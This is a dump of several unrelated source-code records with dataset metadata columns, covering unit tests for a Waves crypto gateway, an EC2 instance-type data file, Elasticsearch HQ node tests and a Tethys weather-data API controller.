@patch('datetime.datetime', autospec=True) def test_handle_receiver(self, mock_datetime: MagicMock): now = MagicMock() mock_datetime.utcnow.return_value = now coin_receiver = "82396457" amount_after_fees = self._gateway_waves_receiver.amount - self._coin_standard_fee - self._gateway_fee tx = "78265" self._coin_address_validation_service.validate_address.return_value = True attempts = [ TransactionAttempt( sender=self._gateway_coin_address_secret.public, fee=self._coin_standard_fee, currency="coin", receivers=[ TransactionAttemptReceiver(address=coin_receiver, amount=amount_after_fees), TransactionAttemptReceiver(address=self._gateway_owner_address, amount=self._gateway_fee) ]) ] trigger = AttemptListTrigger(tx=tx, currency="waves", receiver=0) self._attempt_list_storage.find_by_trigger.return_value = None attempt_list = TransactionAttemptList(trigger=trigger, attempts=attempts, created_at=now, last_modified=now) self._waves_chain_query_service.get_coin_receiver_address_from_transaction.return_value = coin_receiver self._waves_transaction_consumer_impl._handle_receiver(tx, self._gateway_waves_receiver, 0) self._waves_chain_query_service.get_coin_receiver_address_from_transaction.assert_called_once_with(tx) self._attempt_service.continue_transaction_attempt_list.assert_not_called() self._attempt_list_storage.find_by_trigger.assert_called_once_with( AttemptListTrigger(tx=tx, currency="waves", receiver=0)) self._attempt_list_storage.safely_save_attempt_list.assert_called_once_with(attempt_list) def test_handle_receiver_invalid_address(self): coin_receiver = "82396457" amount_after_fees = self._gateway_waves_receiver.amount - self._coin_standard_fee - self._gateway_fee tx = "78265" self._coin_address_validation_service.validate_address.return_value = False attempts = [ TransactionAttempt( sender=self._gateway_coin_address_secret.public, fee=self._coin_standard_fee, currency="coin", receivers=[ TransactionAttemptReceiver(address=coin_receiver, amount=amount_after_fees), TransactionAttemptReceiver(address=self._gateway_owner_address, amount=self._gateway_fee) ]) ] trigger = AttemptListTrigger(tx=tx, currency="waves", receiver=0) self._attempt_list_storage.find_by_trigger.return_value = None self._waves_chain_query_service.get_coin_receiver_address_from_transaction.return_value = coin_receiver self._waves_transaction_consumer_impl._handle_receiver(tx, self._gateway_waves_receiver, 0) self._waves_chain_query_service.get_coin_receiver_address_from_transaction.assert_called_once_with(tx) self._coin_address_validation_service.validate_address.assert_called_once_with(coin_receiver) self._attempt_service.continue_transaction_attempt_list.assert_not_called() self._attempt_list_storage.find_by_trigger.assert_not_called() class WavesTransactionConsumerImplTestSingleReceiver(TestCase): def setUp(self): self._coin_standard_fee = 7269 self._gateway_waves_receiver = TransactionReceiver("9823748", 923235) self._gateway_waves_address_secret = KeyPair(public="9238746", secret="9236478") self._coin_transaction_service = MagicMock() self._waves_chain_query_service = MagicMock(spec=WavesChainQueryServiceImpl) self._waves_transaction_storage = MagicMock() self._logger = MagicMock() self._gateway_coin_address_secret = KeyPair(public="9374682o", secret="sdkjrlig") self._coin_transaction_storage = MagicMock() self._gateway_owner_coin_holder = "23u4oi362" self._gateway_fee = 8793 self._gateway_owner_address = "923768" self._fee_service = MagicMock() self._only_one_transaction_receiver = True self._attempt_service = MagicMock() self._gateway_pywaves_address = MagicMock() self._gateway_pywaves_address.address = self._gateway_waves_receiver.address self._attempt_list_storage = MagicMock() self._coin_address_validation_service = MagicMock() self._waves_transaction_consumer_impl = WavesTransactionConsumerImpl( gateway_waves_address_secret=self._gateway_waves_address_secret, waves_chain_query_service=cast(WavesChainQueryServiceImpl, self._waves_chain_query_service), logger=cast(Logger, self._logger), gateway_owner_address=self._gateway_owner_address, gateway_coin_address_secret=self._gateway_coin_address_secret, fee_service=cast(FeeService, self._fee_service), only_one_transaction_receiver=cast(bool, self._only_one_transaction_receiver), attempt_service=cast(TransactionAttemptListService, self._attempt_service), gateway_pywaves_address=cast(pywaves.Address, self._gateway_pywaves_address), attempt_list_storage=cast(TransactionAttemptListStorage, self._attempt_list_storage), coin_address_validation_service=cast(AddressValidationService, self._coin_address_validation_service)) self._fee_service.get_coin_fee.return_value = self._coin_standard_fee self._fee_service.get_gateway_fee.return_value = self._gateway_fee @patch('datetime.datetime', autospec=True) def test_handle_receiver(self, mock_datetime: MagicMock): now = MagicMock() mock_datetime.utcnow.return_value = now coin_receiver = "82396457" amount_after_fees = self._gateway_waves_receiver.amount - 2 * self._coin_standard_fee - self._gateway_fee tx = "78265" self._coin_address_validation_service.validate_address.return_value = True attempts = [ TransactionAttempt( sender=self._gateway_coin_address_secret.public, fee=self._coin_standard_fee, currency="coin", receivers=[TransactionAttemptReceiver(address=coin_receiver, amount=amount_after_fees)]), TransactionAttempt( sender=self._gateway_coin_address_secret.public, fee=self._coin_standard_fee, currency="coin", receivers=[TransactionAttemptReceiver(address=self._gateway_owner_address, amount=self._gateway_fee)]) ] trigger = AttemptListTrigger(tx=tx, currency="waves", receiver=0) self._attempt_list_storage.find_by_trigger.return_value = None attempt_list = TransactionAttemptList(trigger=trigger, attempts=attempts, created_at=now, last_modified=now) self._waves_chain_query_service.get_coin_receiver_address_from_transaction.return_value = coin_receiver self._waves_transaction_consumer_impl._handle_receiver(tx, self._gateway_waves_receiver, 0) self._waves_chain_query_service.get_coin_receiver_address_from_transaction.assert_called_once_with(tx) self._attempt_service.continue_transaction_attempt_list.assert_not_called() self._attempt_list_storage.find_by_trigger.assert_called_once_with( AttemptListTrigger(tx=tx, currency="waves", receiver=0)) self._attempt_list_storage.safely_save_attempt_list.assert_called_once_with(attempt_list) class WavesTransactionConsumerImplTestSingleReceiverNoGwFee(TestCase): def setUp(self): self._coin_standard_fee = 7269 self._gateway_waves_receiver = TransactionReceiver("9823748", 923235) self._gateway_waves_address_secret = KeyPair(public="9238746", secret="9236478") self._coin_transaction_service = MagicMock() self._waves_chain_query_service = MagicMock(spec=WavesChainQueryServiceImpl) self._waves_transaction_storage = MagicMock() self._logger = MagicMock() self._gateway_coin_address_secret = KeyPair(public="9374682o", secret="sdkjrlig") self._coin_transaction_storage = MagicMock() self._gateway_owner_coin_holder = "23u4oi362" self._gateway_fee = 0 self._gateway_owner_address = "923768" self._fee_service = MagicMock() self._only_one_transaction_receiver = True self._attempt_service = MagicMock() self._gateway_pywaves_address = MagicMock() self._gateway_pywaves_address.address = self._gateway_waves_receiver.address self._attempt_list_storage = MagicMock() self._coin_address_validation_service = MagicMock() self._waves_transaction_consumer_impl = WavesTransactionConsumerImpl( gateway_waves_address_secret=self._gateway_waves_address_secret, waves_chain_query_service=cast(WavesChainQueryServiceImpl, self._waves_chain_query_service), logger=cast(Logger, self._logger), gateway_owner_address=self._gateway_owner_address, gateway_coin_address_secret=self._gateway_coin_address_secret, fee_service=cast(FeeService, self._fee_service), only_one_transaction_receiver=cast(bool, self._only_one_transaction_receiver), attempt_service=cast(TransactionAttemptListService, self._attempt_service), gateway_pywaves_address=cast(pywaves.Address, self._gateway_pywaves_address), attempt_list_storage=cast(TransactionAttemptListStorage, self._attempt_list_storage), coin_address_validation_service=cast(AddressValidationService, self._coin_address_validation_service)) self._fee_service.get_coin_fee.return_value = self._coin_standard_fee self._fee_service.get_gateway_fee.return_value = self._gateway_fee @patch('datetime.datetime', autospec=True) def test_handle_receiver(self, mock_datetime: MagicMock): now = MagicMock() mock_datetime.utcnow.return_value = now coin_receiver = "82396457" amount_after_fees = self._gateway_waves_receiver.amount - self._coin_standard_fee tx = "78265" self._coin_address_validation_service.validate_address.return_value = True attempts = [ TransactionAttempt( sender=self._gateway_coin_address_secret.public, fee=self._coin_standard_fee, currency="coin", receivers=[TransactionAttemptReceiver(address=coin_receiver, amount=amount_after_fees)]) ] trigger = AttemptListTrigger(tx=tx, currency="waves", receiver=0) self._attempt_list_storage.find_by_trigger.return_value = None attempt_list = TransactionAttemptList(trigger=trigger, attempts=attempts, created_at=now, last_modified=now) self._waves_chain_query_service.get_coin_receiver_address_from_transaction.return_value = coin_receiver self._waves_transaction_consumer_impl._handle_receiver(tx, self._gateway_waves_receiver, 0) self._waves_chain_query_service.get_coin_receiver_address_from_transaction.assert_called_once_with(tx) self._attempt_service.continue_transaction_attempt_list.assert_not_called() self._attempt_list_storage.find_by_trigger.assert_called_once_with( AttemptListTrigger(tx=tx, currency="waves", receiver=0)) self._attempt_list_storage.safely_save_attempt_list.assert_called_once_with(attempt_list)

53.714744

120

0.744316

1,823

16,759

6.331871

0.075151

0.063848

0.040544

0.043836

0.900373

0.897687

0.886338

0.870138

0.850732

0

0.019258

0.185095

16,759

311

121

53.88746

0.82595

0.016469

0

0.828

0

0.020969

0

0.092

1

0.044

false

0

0.032

0

0.088

0

null

0

1

0

1

0

null

0

7

d7cad1e20523f4a4754f86182790ee87f50a795c

7,294

py

Python

ec2_compare/internal/instance_type/inf.py

weldpua2008/aws.ec2.compare

5149fc4c7cb42f4d7df1930ed8a06750155fe578

[ "Apache-2.0" ]

null

ec2_compare/internal/instance_type/inf.py

weldpua2008/aws.ec2.compare

5149fc4c7cb42f4d7df1930ed8a06750155fe578

[ "Apache-2.0" ]

null

ec2_compare/internal/instance_type/inf.py

weldpua2008/aws.ec2.compare

5149fc4c7cb42f4d7df1930ed8a06750155fe578

[ "Apache-2.0" ]

1

2021-12-15T11:58:22.000Z

# Automatically generated # pylint: disable=all get = [{'SupportedArchitectures': ['x86_64'], 'SustainedClockSpeedInGhz': 2.5, 'DefaultVCpus': 4, 'DefaultCores': 2, 'DefaultThreadsPerCore': 2, 'ValidCores': [2], 'ValidThreadsPerCore': [1, 2], 'SizeInMiB': 8192, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': 'Up to 25 Gigabit', 'MaximumNetworkInterfaces': 4, 'Ipv4AddressesPerInterface': 10, 'Ipv6AddressesPerInterface': 10, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'Accelerators': [{'Count': 1, 'Name': 'Inferentia', 'Manufacturer': 'AWS'}], 'InstanceType': 'inf1.xlarge', 'CurrentGeneration': True, 'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': False, 'Hypervisor': 'nitro', 'ProcessorInfo': {'SupportedArchitectures': ['x86_64'], 'SustainedClockSpeedInGhz': 2.5}, 'VCpuInfo': {'DefaultVCpus': 4, 'DefaultCores': 2, 'DefaultThreadsPerCore': 2, 'ValidCores': [2], 'ValidThreadsPerCore': [1, 2]}, 'MemoryInfo': {'SizeInMiB': 8192}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': 'Up to 25 Gigabit', 'MaximumNetworkInterfaces': 4, 'Ipv4AddressesPerInterface': 10, 'Ipv6AddressesPerInterface': 10, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'InferenceAcceleratorInfo': {'Accelerators': [{'Count': 1, 'Name': 'Inferentia', 'Manufacturer': 'AWS'}]}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': False, 'AutoRecoverySupported': False}, {'SupportedArchitectures': ['x86_64'], 'SustainedClockSpeedInGhz': 2.5, 'DefaultVCpus': 8, 'DefaultCores': 4, 'DefaultThreadsPerCore': 2, 'ValidCores': [2, 4], 'ValidThreadsPerCore': [1, 2], 'SizeInMiB': 16384, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': 'Up to 25 Gigabit', 'MaximumNetworkInterfaces': 4, 'Ipv4AddressesPerInterface': 10, 'Ipv6AddressesPerInterface': 10, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'Accelerators': [{'Count': 1, 'Name': 'Inferentia', 'Manufacturer': 'AWS'}], 'InstanceType': 'inf1.2xlarge', 'CurrentGeneration': True, 'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': False, 'Hypervisor': 'nitro', 'ProcessorInfo': {'SupportedArchitectures': ['x86_64'], 'SustainedClockSpeedInGhz': 2.5}, 'VCpuInfo': {'DefaultVCpus': 8, 'DefaultCores': 4, 'DefaultThreadsPerCore': 2, 'ValidCores': [2, 4], 'ValidThreadsPerCore': [1, 2]}, 'MemoryInfo': {'SizeInMiB': 16384}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': 'Up to 25 Gigabit', 'MaximumNetworkInterfaces': 4, 'Ipv4AddressesPerInterface': 10, 'Ipv6AddressesPerInterface': 10, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'InferenceAcceleratorInfo': {'Accelerators': [{'Count': 1, 'Name': 'Inferentia', 'Manufacturer': 'AWS'}]}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': False, 'AutoRecoverySupported': False}, {'SupportedArchitectures': ['x86_64'], 'SustainedClockSpeedInGhz': 2.5, 'DefaultVCpus': 24, 'DefaultCores': 12, 'DefaultThreadsPerCore': 2, 'ValidCores': [2, 4, 6, 8, 10, 12], 'ValidThreadsPerCore': [1, 2], 'SizeInMiB': 49152, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': '25 Gigabit', 'MaximumNetworkInterfaces': 8, 'Ipv4AddressesPerInterface': 30, 'Ipv6AddressesPerInterface': 30, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'Accelerators': [{'Count': 4, 'Name': 'Inferentia', 'Manufacturer': 'AWS'}], 'InstanceType': 'inf1.6xlarge', 'CurrentGeneration': True, 'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': False, 'Hypervisor': 'nitro', 'ProcessorInfo': {'SupportedArchitectures': ['x86_64'], 'SustainedClockSpeedInGhz': 2.5}, 'VCpuInfo': {'DefaultVCpus': 24, 'DefaultCores': 12, 'DefaultThreadsPerCore': 2, 'ValidCores': [2, 4, 6, 8, 10, 12], 'ValidThreadsPerCore': [1, 2]}, 'MemoryInfo': {'SizeInMiB': 49152}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': '25 Gigabit', 'MaximumNetworkInterfaces': 8, 'Ipv4AddressesPerInterface': 30, 'Ipv6AddressesPerInterface': 30, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'InferenceAcceleratorInfo': {'Accelerators': [{'Count': 4, 'Name': 'Inferentia', 'Manufacturer': 'AWS'}]}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': False, 'AutoRecoverySupported': False}, {'SupportedArchitectures': ['x86_64'], 'SustainedClockSpeedInGhz': 2.5, 'DefaultVCpus': 96, 'DefaultCores': 48, 'DefaultThreadsPerCore': 2, 'ValidCores': [2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40, 42, 44, 46, 48], 'ValidThreadsPerCore': [1, 2], 'SizeInMiB': 196608, 'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported', 'NetworkPerformance': '100 Gigabit', 'MaximumNetworkInterfaces': 11, 'Ipv4AddressesPerInterface': 30, 'Ipv6AddressesPerInterface': 30, 'Ipv6Supported': True, 'EnaSupport': 'required', 'SupportedStrategies': ['cluster', 'partition', 'spread'], 'Accelerators': [{'Count': 16, 'Name': 'Inferentia', 'Manufacturer': 'AWS'}], 'InstanceType': 'inf1.24xlarge', 'CurrentGeneration': True, 'FreeTierEligible': False, 'SupportedUsageClasses': ['on-demand', 'spot'], 'SupportedRootDeviceTypes': ['ebs'], 'BareMetal': False, 'Hypervisor': 'nitro', 'ProcessorInfo': {'SupportedArchitectures': ['x86_64'], 'SustainedClockSpeedInGhz': 2.5}, 'VCpuInfo': {'DefaultVCpus': 96, 'DefaultCores': 48, 'DefaultThreadsPerCore': 2, 'ValidCores': [2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36, 38, 40, 42, 44, 46, 48], 'ValidThreadsPerCore': [1, 2]}, 'MemoryInfo': {'SizeInMiB': 196608}, 'InstanceStorageSupported': False, 'EbsInfo': {'EbsOptimizedSupport': 'default', 'EncryptionSupport': 'supported'}, 'NetworkInfo': {'NetworkPerformance': '100 Gigabit', 'MaximumNetworkInterfaces': 11, 'Ipv4AddressesPerInterface': 30, 'Ipv6AddressesPerInterface': 30, 'Ipv6Supported': True, 'EnaSupport': 'required'}, 'PlacementGroupInfo': {'SupportedStrategies': ['cluster', 'partition', 'spread']}, 'InferenceAcceleratorInfo': {'Accelerators': [{'Count': 16, 'Name': 'Inferentia', 'Manufacturer': 'AWS'}]}, 'HibernationSupported': False, 'BurstablePerformanceSupported': False, 'DedicatedHostsSupported': True, 'AutoRecoverySupported': False}] # noqa: E501 def get_instances_list() -> list: '''Returns list EC2 instances with InstanceType = inf .''' # pylint: disable=all return get

607.833333

7,103

0.720044

603

7,294

8.693201

0.190713

0.038153

0.041206

0.077833

0.947921

0.913583

0.907478

0.885158

0.826211

0

0.052584

0.082259

7,294

11

7,104

663.090909

0.730505

0.017549

0

1

0

0.654276

0.250419

0

1

0.333333

false

0

0.666667

0

null

0

1

0

1

0

1

0

1

0

null

0

1

0

1

0

12

d7e1f7b5f22a167e4aaabb54d45f9ba40813da43

212

py

Python

sample/AuthorizeIntentExamples/__init__.py

seba-spoon/Checkout-Python-SDK

24a1f7c73fd6e270d21547fb65037e21a5d4f22b

[ "BSD-Source-Code" ]

165

2019-03-06T14:32:47.000Z

2022-03-26T17:49:57.000Z

sample/AuthorizeIntentExamples/__init__.py

seba-spoon/Checkout-Python-SDK

24a1f7c73fd6e270d21547fb65037e21a5d4f22b

[ "BSD-Source-Code" ]

24

2019-03-06T00:21:50.000Z

2021-12-22T11:40:05.000Z

sample/AuthorizeIntentExamples/__init__.py

seba-spoon/Checkout-Python-SDK

24a1f7c73fd6e270d21547fb65037e21a5d4f22b

[ "BSD-Source-Code" ]

87

2019-02-15T03:59:20.000Z

2022-03-27T13:26:29.000Z

from sample.AuthorizeIntentExamples.create_order import * from sample.AuthorizeIntentExamples.authorize_order import * from sample.AuthorizeIntentExamples.capture_order import * from sample.refund_order import *

42.4

60

0.872642

23

212

7.869565

0.391304

0.220994

0.546961

0.348066

0.486188

0

0.075472

212

4

61

53

0.923469

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

040f3bcd5f05fdfde6ad9b63f6cdb4dc5c9ebe37

1,940

py

Python

tests/combined/test_nodes.py

nanohest/elasticsearch-HQ

e7ee4858ca2f03d4d535ab9a377f79d2daa1d58d

[ "Apache-2.0" ]

2

2019-11-13T06:17:38.000Z

2019-11-13T06:21:39.000Z

tests/combined/test_nodes.py

rain1974/elasticsearch-HQ

1936f4ae39ad55e7d006c694f0444a0b920bf167

[ "Apache-2.0" ]

3

2020-06-18T14:52:29.000Z

2021-05-07T21:16:59.000Z

tests/combined/test_nodes.py

rain1974/elasticsearch-HQ

1936f4ae39ad55e7d006c694f0444a0b920bf167

[ "Apache-2.0" ]

1

2019-02-11T14:16:50.000Z

__author__ = 'royrusso' class TestNodes: def test_get_nodes_summary(self, fixture): """ Tests nodes summary endpoint. All ES versions should return the same keys. :param fixture: :return: """ fixture.add_all_clusters() response = fixture.app.get('/api/nodes/%s/_summary' % fixture.cluster_v2_name) assert 200 == response.status_code res = fixture.get_response_data(response) node = res.get('data')[0] assert node['host'] == '127.0.0.1' assert node['is_data_node'] == True assert node['is_master_node'] == True # assert fixture.has_all_keys(fixture.config.KEYS_NODE_SUMMARY_FS, node['fs'].keys()) is True # assert fixture.has_all_keys(fixture.config.KEYS_NODE_SUMMARY_JVM, node['jvm'].keys()) is True response = fixture.app.get('/api/nodes/%s/_summary' % fixture.cluster_v5_name) assert 200 == response.status_code res = fixture.get_response_data(response) node = res.get('data')[0] assert node['host'] == '127.0.0.1' assert node['is_data_node'] == True assert node['is_master_node'] == True # assert fixture.has_all_keys(fixture.config.KEYS_NODE_SUMMARY_FS, node['fs'].keys()) is True # assert fixture.has_all_keys(fixture.config.KEYS_NODE_SUMMARY_JVM, node['jvm'].keys()) is True response = fixture.app.get('/api/nodes/%s/_summary' % fixture.cluster_v6_name) assert 200 == response.status_code res = fixture.get_response_data(response) node = res.get('data')[0] assert node['host'] == '127.0.0.1' assert node['is_data_node'] == True assert node['is_master_node'] == True # assert fixture.has_all_keys(fixture.config.KEYS_NODE_SUMMARY_FS, node['fs'].keys()) is True # assert fixture.has_all_keys(fixture.config.KEYS_NODE_SUMMARY_JVM, node['jvm'].keys()) is True

41.276596

103

0.647423

267

1,940

4.445693

0.191011

0.075821

0.060657

0.101095

0.859309

0

0.021725

0.21701

1,940

46

104

42.173913

0.75971

0.339691

0

0.72

0

0.164372

0.053441

0

0.48

1

0.04

false

0

0.08

0

null

0

1

0

1

0

null

0

1

0

8

f08797fc8f784038263f5a985fde846b2300a8e0

9,691

py

Python

tethysapp/temp_precip_trends/controllers/api.py

Global-Water-Security-Center/tethysapp-temp_precip_trends

1da724ecc1b4195d21260eefe2c2d1e0b0774cb9

[ "BSD-3-Clause" ]

null

tethysapp/temp_precip_trends/controllers/api.py

Global-Water-Security-Center/tethysapp-temp_precip_trends

1da724ecc1b4195d21260eefe2c2d1e0b0774cb9

[ "BSD-3-Clause" ]

1

2021-08-30T18:09:17.000Z

tethysapp/temp_precip_trends/controllers/api.py

Global-Water-Security-Center/tethysapp-temp_precip_trends

1da724ecc1b4195d21260eefe2c2d1e0b0774cb9

[ "BSD-3-Clause" ]

null

import datetime as dt from dateutil.relativedelta import relativedelta import logging from django.http import JsonResponse from rest_framework.authentication import TokenAuthentication, SessionAuthentication from rest_framework.decorators import api_view, authentication_classes from tethysapp.temp_precip_trends.api_helpers import get_data, param_check, overlap_ts, jsonify, \ resample_to_weekly_sum, realign_normal_dataset from tethysapp.temp_precip_trends.app import TempPrecipTrendsApp as app log = logging.getLogger(f'tethys.{__name__}') @api_view(['GET']) @authentication_classes((TokenAuthentication, SessionAuthentication,)) def get_min_temperature(request): check_request = param_check(request) if 'success' in check_request.keys(): try: catalog = app.get_spatial_dataset_service(app.SET_THREDDS_SDS_NAME, as_engine=True) dataset = catalog.datasets[app.get_custom_setting(app.SET_THREDDS_PRIMARY_DATASET_NAME)] params = request.GET geometry = params['geometry'] start_time = params.get('start_time', None) end_time = params.get('end_time', None) time_series = get_data('min_t2m_c', dataset, geometry, start_time, end_time) return JsonResponse(time_series) except Exception: error_msg = 'Something went wrong while retrieving the data.' log.exception(error_msg) return JsonResponse({'error': error_msg}) else: return JsonResponse(check_request) @api_view(['GET']) @authentication_classes((TokenAuthentication, SessionAuthentication,)) def get_max_temperature(request): check_request = param_check(request) if 'success' in check_request.keys(): try: catalog = app.get_spatial_dataset_service(app.SET_THREDDS_SDS_NAME, as_engine=True) dataset = catalog.datasets[app.get_custom_setting(app.SET_THREDDS_PRIMARY_DATASET_NAME)] params = request.GET geometry = params['geometry'] start_time = params.get('start_time', None) end_time = params.get('end_time', None) time_series = get_data('max_t2m_c', dataset, geometry, start_time, end_time) return JsonResponse(time_series) except Exception: error_msg = 'Something went wrong while retrieving the data.' log.exception(error_msg) return JsonResponse({'error': error_msg}) else: return JsonResponse(check_request) @api_view(['GET']) @authentication_classes((TokenAuthentication, SessionAuthentication,)) def get_mean_temperature(request): check_request = param_check(request) if 'success' in check_request.keys(): try: catalog = app.get_spatial_dataset_service(app.SET_THREDDS_SDS_NAME, as_engine=True) dataset = catalog.datasets[app.get_custom_setting(app.SET_THREDDS_PRIMARY_DATASET_NAME)] params = request.GET geometry = params['geometry'] start_time = params.get('start_time', None) end_time = params.get('end_time', None) time_series = get_data('mean_t2m_c', dataset, geometry, start_time, end_time) return JsonResponse(time_series) except Exception: error_msg = 'Something went wrong while retrieving the data.' log.exception(error_msg) return JsonResponse({'error': error_msg}) else: return JsonResponse(check_request) @api_view(['GET']) @authentication_classes((TokenAuthentication, SessionAuthentication,)) def get_total_precipitation(request): check_request = param_check(request) if 'success' in check_request.keys(): try: variable = 'sum_tp_mm' catalog = app.get_spatial_dataset_service(app.SET_THREDDS_SDS_NAME, as_engine=True) dataset = catalog.datasets[app.get_custom_setting(app.SET_THREDDS_PRIMARY_DATASET_NAME)] params = request.GET geometry = params['geometry'] start_time = params.get('start_time', None) end_time = params.get('end_time', None) ds = get_data(variable, dataset, geometry, start_time, end_time, return_json=False) resampled_ds = resample_to_weekly_sum(variable, ds) time_series = jsonify(resampled_ds, variable) return JsonResponse(time_series) except Exception: error_msg = 'Something went wrong while retrieving the data.' log.exception(error_msg) return JsonResponse({'error': error_msg}) else: return JsonResponse(check_request) @api_view(['GET']) @authentication_classes((TokenAuthentication, SessionAuthentication,)) def get_cumulative_precipitation(request): check_request = param_check(request) if 'success' in check_request.keys(): try: catalog = app.get_spatial_dataset_service(app.SET_THREDDS_SDS_NAME, as_engine=True) dataset = catalog.datasets[app.get_custom_setting(app.SET_THREDDS_PRIMARY_DATASET_NAME)] params = request.GET geometry = params['geometry'] start_time = params.get('start_time', None) end_time = params.get('end_time', None) time_series = get_data('sum_tp_mm', dataset, geometry, start_time, end_time, cum_sum=True) return JsonResponse(time_series) except Exception: error_msg = 'Something went wrong while retrieving the data.' log.exception(error_msg) return JsonResponse({'error': error_msg}) else: return JsonResponse(check_request) @api_view(['GET']) @authentication_classes((TokenAuthentication, SessionAuthentication,)) def get_projected_mean_temperature(request): check_request = param_check(request) if 'success' in check_request.keys(): try: catalog = app.get_spatial_dataset_service(app.SET_THREDDS_SDS_NAME, as_engine=True) dataset = catalog.datasets[app.get_custom_setting(app.SET_THREDDS_PRIMARY_DATASET_NAME)] params = request.GET geometry = params['geometry'] start_time = dt.datetime.strptime(params['end_time'], '%Y%m%d') + relativedelta(months=-21) end_time = dt.datetime.strptime(params['end_time'], '%Y%m%d') + relativedelta(months=-9) time_series = get_data('mean_t2m_c', dataset, geometry, start_time, end_time) overlap_ts(time_series) # add one year to time-series dates for projected data overlap return JsonResponse(time_series) except Exception: error_msg = 'Something went wrong while retrieving the data.' log.exception(error_msg) return JsonResponse({'error': error_msg}) else: return JsonResponse(check_request) @api_view(['GET']) @authentication_classes((TokenAuthentication, SessionAuthentication,)) def get_projected_cumulative_precipitation(request): check_request = param_check(request) if 'success' in check_request.keys(): try: catalog = app.get_spatial_dataset_service(app.SET_THREDDS_SDS_NAME, as_engine=True) dataset = catalog.datasets[app.get_custom_setting(app.SET_THREDDS_PRIMARY_DATASET_NAME)] params = request.GET geometry = params['geometry'] start_time = dt.datetime.strptime(params['end_time'], '%Y%m%d') + relativedelta(months=-21) end_time = dt.datetime.strptime(params['end_time'], '%Y%m%d') + relativedelta(months=-9) time_series = get_data('sum_tp_mm', dataset, geometry, start_time, end_time, cum_sum=True) overlap_ts(time_series) # add one year to time-series dates for projected data overlap return JsonResponse(time_series) except Exception: error_msg = 'Something went wrong while retrieving the data.' log.exception(error_msg) return JsonResponse({'error': error_msg}) else: return JsonResponse(check_request) @api_view(['GET']) @authentication_classes((TokenAuthentication, SessionAuthentication,)) def get_normal_data(request, variable): check_request = param_check(request) if 'success' in check_request.keys(): try: params = request.GET geometry = params['geometry'] end_time = params.get('end_time') variable = variable.replace('-', '_') # Get data at location catalog = app.get_spatial_dataset_service(app.SET_THREDDS_SDS_NAME, as_engine=True) dataset = catalog.datasets[app.get_custom_setting(app.SET_THREDDS_NORMAL_DATASET_NAME)] if 'temp' in variable: query_variable = app.get_custom_setting(app.SET_NORMAL_TEMP_NAME) else: query_variable = app.get_custom_setting(app.SET_NORMAL_PRECIP_NAME) # Note: Dates for normal dataset are arbitrarily set for the year 2000 ds = get_data( variable=query_variable, dataset=dataset, geometry=geometry, start_time='20000101', end_time='20001231', return_json=False, ) realigned_ds = realign_normal_dataset(query_variable, variable, ds, end_time) time_series = jsonify(realigned_ds, variable) return JsonResponse(time_series) except Exception: error_msg = 'Something went wrong while retrieving the normals data.' log.exception(error_msg) return JsonResponse({'error': error_msg}) else: return JsonResponse(check_request)

43.850679

103

0.675163

1,121

9,691

5.540589

0.1124

0.061826

0.033489

0.030591

0.855579

0.846241

0.836419

0.830462

0.803896

0

0.004044

0.234444

9,691

220

104

44.05

0.833131

0.021773

0

0.781915

0

0.087177

0

1

0.042553

false

0

0.042553

0

0.212766

0

null

0

1

0

1

0

null

0

7

f0aa8ec30c3081b998c619b03d890902258a6546

433

py

Python

SUAVE/SUAVE-2.5.0/trunk/SUAVE/Analyses/Mission/Segments/Transition/__init__.py

Vinicius-Tanigawa/Undergraduate-Research-Project

e92372f07882484b127d7affe305eeec2238b8a9

[ "MIT" ]

null

SUAVE/SUAVE-2.5.0/trunk/SUAVE/Analyses/Mission/Segments/Transition/__init__.py

Vinicius-Tanigawa/Undergraduate-Research-Project

e92372f07882484b127d7affe305eeec2238b8a9

[ "MIT" ]

null

SUAVE/SUAVE-2.5.0/trunk/SUAVE/Analyses/Mission/Segments/Transition/__init__.py

Vinicius-Tanigawa/Undergraduate-Research-Project

e92372f07882484b127d7affe305eeec2238b8a9

[ "MIT" ]

null

